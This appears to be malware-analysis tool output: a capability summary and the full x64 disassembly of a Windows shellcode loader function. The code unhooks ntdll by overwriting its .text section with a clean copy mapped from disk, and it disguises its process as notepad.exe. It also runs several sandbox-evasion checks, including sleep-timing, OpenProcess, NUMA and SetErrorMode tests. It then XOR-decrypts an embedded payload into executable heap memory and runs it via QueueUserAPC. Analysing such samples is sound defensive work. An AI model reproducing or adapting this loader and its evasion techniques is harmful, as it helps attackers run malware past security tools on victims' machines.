Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x908
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x870], xmm6
mov dword [rbp + 0x8b0], ecx
mov qword [rbp + 0x8b8], rdx
call fcn.140002b70
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7f0], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7e8], rax
mov ecx, 0x6e4
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7e0], rax
mov dword [rbp + 0x868], 0
mov dword [rbp + 0x864], 0
mov dword [rbp + 0x86c], 0
jmp 0x14000152e
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x86c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x7e0]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x14f8b589
shr rdx, 0x20
sar edx, 0xd
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x186a0
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x86c], 1
cmp dword [rbp + 0x86c], 0x1b8
jle 0x1400014e1
mov dword [rbp + 0x86c], 0
mov dword [rbp + 0x86c], 0
jmp 0x1400015ad
mov eax, dword [rbp + 0x86c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7e0]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
je 0x14000157c
add dword [rbp + 0x868], 1
jmp 0x1400015a6
mov eax, dword [rbp + 0x86c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7e0]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
jne 0x1400015a6
add dword [rbp + 0x864], 1
add dword [rbp + 0x86c], 1
cmp dword [rbp + 0x86c], 0x1b8
jle 0x140001550
mov rax, qword [rbp + 0x7e0]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x860], 0xffffffff
mov ecx, 0x12f0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7d8], rax
add dword [rbp + 0x860], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006638]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x860]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x7d8]
add rax, rdx
movsd xmm1, qword [0x140006640]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x860]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x7d8]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x860]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x7d8]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_acos
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x860], 0x25c
jle 0x1400015e3
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7d0], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x858], rax
cmp qword [rbp + 0x858], 0
jne 0x140001710
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x858], rax
cmp qword [rbp + 0x858], 0
je 0x140001b68
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x660]
mov rax, qword [rbp + 0x7d0]
mov r10, qword [rbp + 0x858]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0x660]
mov qword [rbp + 0x7c8], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x7c0], rax
mov rax, qword [rbp + 0x7c0]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x7b8], rax
mov rax, qword [rbp + 0x7b8]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x7b0], rax
mov rax, qword [rbp + 0x7c8]
mov qword [rbp + 0x7a8], rax
mov rax, qword [rbp + 0x7a8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x7c8]
add rax, rdx
mov qword [rbp + 0x7a0], rax
mov word [rbp + 0x856], 0
jmp 0x140001b50
mov rax, qword [rbp + 0x7a0]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x7a0]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x856]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x798], rax
mov rax, qword [rbp + 0x798]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001b3f
mov dword [rbp + 0x628], 0
mov rax, qword [rbp + 0x798]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x798]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7c8]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x628]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov ecx, 0x950
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x790], rax
mov dword [rbp + 0x850], 0
jmp 0x140001993
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2ss xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2ss xmm1, edx
mov eax, dword [rbp + 0x850]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x790]
add rax, rdx
divss xmm6, xmm1
movups xmm0, xmm6
movss dword [rax], xmm0
add dword [rbp + 0x850], 1
cmp dword [rbp + 0x850], 0x253
jle 0x14000190c
mov dword [rbp + 0x850], 0
jmp 0x140001a97
cmp dword [rbp + 0x850], 0
je 0x1400019fc
mov eax, dword [rbp + 0x850]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x790]
add rax, rdx
movss xmm1, dword [rax]
mov eax, dword [rbp + 0x850]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x790]
add rax, rdx
movss xmm0, dword [rax]
comiss xmm0, xmm1
jb 0x140001a08
add dword [rbp + 0x850], 1
jmp 0x140001a97
mov eax, dword [rbp + 0x850]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x790]
add rax, rdx
movss xmm0, dword [rax]
movss dword [rbp + 0x78c], xmm0
mov eax, dword [rbp + 0x850]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x790]
add rdx, rax
mov eax, dword [rbp + 0x850]
cdqe
shl rax, 2
lea rcx, [rax - 4]
mov rax, qword [rbp + 0x790]
add rax, rcx
movss xmm0, dword [rdx]
movss dword [rax], xmm0
mov eax, dword [rbp + 0x850]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x790]
add rax, rdx
movss xmm0, dword [rbp + 0x78c]
movss dword [rax], xmm0
sub dword [rbp + 0x850], 1
cmp dword [rbp + 0x850], 0x253
jle 0x1400019b2
mov rax, qword [rbp + 0x790]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x798]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x798]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x7b0]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x798]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7c8]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0x628]
mov rax, qword [rbp + 0x798]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x798]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7c8]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x628]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x856]
add eax, 1
mov word [rbp + 0x856], ax
mov rax, qword [rbp + 0x7a0]
movzx eax, word [rax + 6]
cmp word [rbp + 0x856], ax
jb 0x14000184a
mov dword [rbp + 0x62c], 0
mov rax, qword [rbp + 0x7f0]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x780], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x630]
lea rax, [rbp + 0x62c]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x780]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0x638]
add rax, 0x3c
mov qword [rbp + 0x778], rax
mov rax, qword [rbp + 0x778]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov ecx, 0x238
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x770], rax
mov dword [rbp + 0x84c], 0
jmp 0x140001c57
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x84c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x770]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x68db8bad
shr rdx, 0x20
sar edx, 0xc
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x2710
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x84c], 1
cmp dword [rbp + 0x84c], 0x8d
jle 0x140001c0a
mov dword [rbp + 0x84c], 0
jmp 0x140001d47
cmp dword [rbp + 0x84c], 0
je 0x140001cb7
mov eax, dword [rbp + 0x84c]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x770]
add rax, rdx
mov edx, dword [rax]
mov eax, dword [rbp + 0x84c]
cdqe
lea rcx, [rax*4]
mov rax, qword [rbp + 0x770]
add rax, rcx
mov eax, dword [rax]
cmp edx, eax
jg 0x140001cc3
add dword [rbp + 0x84c], 1
jmp 0x140001d47
mov eax, dword [rbp + 0x84c]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x770]
add rax, rdx
mov eax, dword [rax]
mov dword [rbp + 0x67c], eax
mov eax, dword [rbp + 0x84c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x770]
add rax, rdx
mov edx, dword [rbp + 0x84c]
movsxd rdx, edx
shl rdx, 2
lea rcx, [rdx - 4]
mov rdx, qword [rbp + 0x770]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x84c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x770]
add rdx, rax
mov eax, dword [rbp + 0x67c]
mov dword [rdx], eax
sub dword [rbp + 0x84c], 1
cmp dword [rbp + 0x84c], 0x8d
jle 0x140001c72
mov rax, qword [rbp + 0x770]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x778]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
mov dword [rbp + 0x76c], 0x3ab
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x760], rax
mov rax, qword [rbp + 0x760]
call rax
mov dword [rbp + 0x75c], eax
mov eax, dword [rbp + 0x76c]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x760]
call rax
mov dword [rbp + 0x758], eax
mov eax, dword [rbp + 0x758]
sub eax, dword [rbp + 0x75c]
cmp eax, 0x379
jbe 0x140002a9a
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x750], rax
cmp qword [rbp + 0x750], 0
jne 0x140002a9a
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x748], rax
cmp qword [rbp + 0x748], 0
je 0x140002a9a
mov rax, qword [rbp + 0x748]
mov edx, 0x626
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x744], eax
mov dword [rbp + 0x740], 0x32e
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x738], rax
mov rax, qword [rbp + 0x738]
call rax
mov dword [rbp + 0x734], eax
mov eax, dword [rbp + 0x740]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x738]
call rax
mov dword [rbp + 0x730], eax
mov eax, dword [rbp + 0x730]
sub eax, dword [rbp + 0x734]
cmp eax, 0x2fc
jbe 0x140002a9a
mov qword [rbp + 0x728], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x720], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x720]
mov r9d, 0x3000
mov r8d, 0x26a
mov edx, 0
call rax
mov qword [rbp + 0x728], rax
cmp qword [rbp + 0x728], 0
je 0x140002a9a
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x718], rax
cmp qword [rbp + 0x718], 0
jne 0x140002a9a
mov qword [rbp + 0x710], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x708], rax
mov rax, qword [rbp + 0x708]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x255da80
mov ecx, 0
call rax
mov qword [rbp + 0x710], rax
cmp qword [rbp + 0x710], 0
je 0x140002a9a
mov rax, qword [rbp + 0x710]
mov edx, 0x255da80
mov rcx, rax
call fcn.140004c30
mov rax, qword [rbp + 0x710]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov ecx, 0x4c6
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x4c6
jne 0x140002a9a
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov qword [rbp + 0x840], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x700], rax
cmp qword [rbp + 0x700], 0
je 0x140002119
mov rax, qword [rbp + 0x700]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6f8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x6f8]
mov r9d, 0x3000
mov r8d, 0x359
mov edx, 0
call rax
mov qword [rbp + 0x840], rax
cmp qword [rbp + 0x840], 0
je 0x140002a9a
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x6f0], rax
cmp qword [rbp + 0x6f0], 0
jne 0x140002a9a
lea rax, [rbp + 0x110]
lea rdx, [0x140006120]
mov ecx, 0xa2
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
movzx ecx, byte [rdx]
mov byte [rax], cl
mov rax, qword [rbp + 0x7e8]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6e8], rax
mov dword [rbp + 0x83c], 0xffffffff
pxor xmm0, xmm0
movsd qword [rbp + 0x830], xmm0
add dword [rbp + 0x83c], 1
pxor xmm1, xmm1
cvtsi2sd xmm1, dword [rbp + 0x83c]
movsd xmm0, qword [0x140006640]
addsd xmm0, xmm1
mov rax, qword [0x140006648]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140003fc0
movq rax, xmm0
pxor xmm0, xmm0
cvtsi2sd xmm0, dword [rbp + 0x83c]
addsd xmm0, xmm0
movsd xmm2, qword [0x140006640]
movupd xmm1, xmm0
subsd xmm1, xmm2
movq xmm0, rax
divsd xmm0, xmm1
movsd xmm1, qword [rbp + 0x830]
addsd xmm0, xmm1
movsd qword [rbp + 0x830], xmm0
cmp dword [rbp + 0x83c], 0xdc
jle 0x1400021b3
movsd xmm1, qword [rbp + 0x830]
movsd xmm0, qword [0x140006650]
mulsd xmm0, xmm1
movsd qword [rbp + 0x830], xmm0
mov rax, qword [rbp + 0x7e8]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6e0], rax
mov rax, qword [rbp + 0x6e8]
mov r8d, 0
mov edx, 0x510
mov ecx, 0x40000
call rax
mov qword [rbp + 0x6d8], rax
mov dword [rbp + 0x82c], 0xffffffff
pxor xmm0, xmm0
movsd qword [rbp + 0x820], xmm0
add dword [rbp + 0x82c], 1
pxor xmm1, xmm1
cvtsi2sd xmm1, dword [rbp + 0x82c]
movsd xmm0, qword [0x140006640]
addsd xmm0, xmm1
mov rax, qword [0x140006648]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140003fc0
movq rax, xmm0
pxor xmm0, xmm0
cvtsi2sd xmm0, dword [rbp + 0x82c]
addsd xmm0, xmm0
movsd xmm2, qword [0x140006640]
movupd xmm1, xmm0
subsd xmm1, xmm2
movq xmm0, rax
divsd xmm0, xmm1
movsd xmm1, qword [rbp + 0x820]
addsd xmm0, xmm1
movsd qword [rbp + 0x820], xmm0
cmp dword [rbp + 0x82c], 0x1e4
jle 0x1400022ac
movsd xmm1, qword [rbp + 0x820]
movsd xmm0, qword [0x140006650]
mulsd xmm0, xmm1
movsd qword [rbp + 0x820], xmm0
mov rax, qword [rbp + 0x6d8]
mov r9, qword [rbp + 0x6e0]
mov r8d, 0x510
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x6d0], rax
mov rax, qword [rbp + 0x7f0]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6c8], rax
lea rdx, [rbp + 0x110]
mov rax, qword [rbp + 0x6d0]
mov r9, qword [rbp + 0x6c8]
mov r8d, 0x510
mov rcx, rax
call r9
mov dword [rbp + 0x818], 0
mov dword [rbp + 0x814], 0
movabs rax, 0xd73ed809c223187f
movabs rdx, 0x306ae89398c8bee7
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x98], rdx
movabs rax, 0xa3db9a0a5f220dec
movabs rdx, 0x6c99950c06ddfe9
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa8], rdx
movabs rax, 0x979b589cb9848ea0
movabs rdx, 0x271d4088b98d3850
mov qword [rbp + 0xb0], rax
mov qword [rbp + 0xb8], rdx
movabs rax, 0xae9d5b318db6cead
movabs rdx, 0xdec892585a797b48
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0xc8], rdx
movabs rax, 0xa7c88bca9368b2a
movabs rdx, 0x4de9d92a1472c795
mov qword [rbp + 0xd0], rax
mov qword [rbp + 0xd8], rdx
movabs rax, 0x4a951be3e7aca687
movabs rdx, 0xa00e81b28f57e4f8
mov qword [rbp + 0xe0], rax
mov qword [rbp + 0xe8], rdx
movabs rax, 0x64fd2adb2643b815
movabs rdx, 0x574e7e8c4be244fd
mov qword [rbp + 0xf0], rax
mov qword [rbp + 0xf8], rdx
mov dword [rbp + 0x100], 0xed12e7
movabs rax, 0x32b853adcc5d06d
movabs rdx, 0x360bc4644143e68c
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
movabs rax, 0x858eed359511015f
movabs rdx, 0xcc39bd268a0056a
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
movabs rax, 0x72cc3b2971a378b0
movabs rdx, 0x1062587e222ae6f3
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
movabs rax, 0xa3ca6202e15543f9
movabs rdx, 0xb35a54d0c5fa5474
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
movabs rax, 0x186e11b59fb35a
mov qword [rbp - 2], rax
mov dword [rbp + 0x81c], 0
jmp 0x1400027f3
mov ecx, 0x1b4
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x690], rax
mov dword [rbp + 0x80c], 0
mov dword [rbp + 0x808], 0
mov dword [rbp + 0x810], 0
jmp 0x140002626
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x810]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x690]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x810]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x690]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
je 0x1400025f5
add dword [rbp + 0x80c], 1
jmp 0x14000261f
mov eax, dword [rbp + 0x810]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x690]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
jne 0x14000261f
add dword [rbp + 0x808], 1
add dword [rbp + 0x810], 1
cmp dword [rbp + 0x810], 0x6c
jle 0x140002583
mov rax, qword [rbp + 0x690]
mov rcx, rax
call sub.msvcrt.dll_free
cmp dword [rbp + 0x818], 0x44
jne 0x140002685
mov eax, dword [rbp + 0x81c]
cdqe
movzx edx, byte [rbp + rax + 0x90]
mov eax, dword [rbp + 0x818]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor edx, eax
mov eax, dword [rbp + 0x81c]
cdqe
mov byte [rbp + rax + 0x10], dl
mov dword [rbp + 0x818], 0
jmp 0x1400027ec
mov eax, dword [rbp + 0x81c]
cdqe
movzx edx, byte [rbp + rax + 0x90]
mov eax, dword [rbp + 0x818]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor edx, eax
mov eax, dword [rbp + 0x81c]
cdqe
mov byte [rbp + rax + 0x10], dl
mov ecx, 0xd00
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x688], rax
mov ecx, 0xd00
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x680], rax
mov dword [rbp + 0x804], 0
jmp 0x14000276b
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x804]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x688]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
add dword [rbp + 0x804], 1
cmp dword [rbp + 0x804], 0x19f
jle 0x1400026e1
mov dword [rbp + 0x804], 0
jmp 0x1400027d9
mov eax, dword [rbp + 0x804]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x688]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x804]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x680]
lea rbx, [rcx + rdx]
movq xmm0, rax
call fcn.140003d70
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x804], 1
cmp dword [rbp + 0x804], 0x19f
jle 0x140002787
add dword [rbp + 0x818], 1
add dword [rbp + 0x81c], 1
mov eax, dword [rbp + 0x81c]
cmp eax, 0x72
jbe 0x14000254f
mov dword [rbp + 0x81c], 0
jmp 0x14000290b
mov dword [rbp + 0x800], 0
jmp 0x140002860
call sub.msvcrt.dll_rand
mov edx, eax
mov eax, edx
add eax, eax
add eax, edx
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006638]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140003b60
movq rax, xmm0
mov qword [rbp + 0x698], rax
add dword [rbp + 0x800], 1
cmp dword [rbp + 0x800], 0x151
jle 0x14000281d
cmp dword [rbp + 0x814], 0x72
jne 0x1400028bf
mov eax, dword [rbp + 0x81c]
movsxd rdx, eax
mov rax, qword [rbp + 0x6d0]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x814]
cdqe
movzx ecx, byte [rbp + rax + 0x10]
mov eax, dword [rbp + 0x81c]
movsxd rdx, eax
mov rax, qword [rbp + 0x6d0]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
mov dword [rbp + 0x814], 0
jmp 0x140002904
mov eax, dword [rbp + 0x81c]
movsxd rdx, eax
mov rax, qword [rbp + 0x6d0]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x814]
cdqe
movzx ecx, byte [rbp + rax + 0x10]
mov eax, dword [rbp + 0x81c]
movsxd rdx, eax
mov rax, qword [rbp + 0x6d0]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
add dword [rbp + 0x814], 1
add dword [rbp + 0x81c], 1
cmp dword [rbp + 0x81c], 0x50f
jle 0x140002811
mov rax, qword [rbp + 0x6d0]
mov qword [rbp + 0x6c0], rax
mov rax, qword [rbp + 0x7e8]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6b8], rax
mov rax, qword [rbp + 0x7e8]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6b0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x6c0]
mov r9, qword [rbp + 0x6b8]
mov r8d, 0
mov rcx, rax
call r9
mov ecx, 0xc94
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6a8], rax
